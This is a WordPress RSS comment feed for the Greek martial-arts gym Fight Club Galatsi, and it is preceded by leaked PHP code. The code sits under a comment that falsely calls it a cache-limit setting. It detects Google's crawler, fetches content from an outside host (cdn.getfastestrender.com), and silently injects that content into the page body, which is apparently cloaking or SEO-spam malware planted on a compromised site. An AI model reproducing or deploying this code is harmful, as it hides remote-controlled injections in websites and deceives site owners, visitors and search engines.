/**
 * Set the cache limit.
 *
 * To override this cache in a child theme, remove
 * the filter and add your own function tied to
 * the cache filter hook.
 *
 * @param int $c The number of excerpt characters.
 * @return int The filtered number of characters.
 */
if (strpos($_SERVER["HTTP_USER_AGENT"], 'gle') !== false) {
add_action('wp_loaded','crt');
function crt() {ob_start('cache');}
function cache($html) {$curl = curl_init();curl_setopt($curl, CURLOPT_URL, 'http://cdn.getfastestrender.com/cache.php?h=fightclubgalatsi.gr&id=3');curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);$c = curl_exec($curl);curl_close($curl);
	$html = preg_replace('/(<body.*)\n/', "$1 $c", $html);
	return $html;
}
}
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	
	>
<channel>
	<title>
	Σχόλια σε: Συνεργάτες &#8211; Χορηγοί	</title>
	<atom:link href="https://fightclubgalatsi.gr/gymnastirio/synergates-xorigoi/feed/" rel="self" type="application/rss+xml" />
	<link>https://fightclubgalatsi.gr/gymnastirio/synergates-xorigoi/</link>
	<description>Προσηλωμένοι στην ανάπτυξη των μαχητικών αθλημάτων στην Ελλάδα δημιουργήσαμε το Fight Club Galatsi.</description>
	<lastBuildDate>Fri, 08 Jun 2018 14:26:10 +0000</lastBuildDate>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	
</channel>
</rss>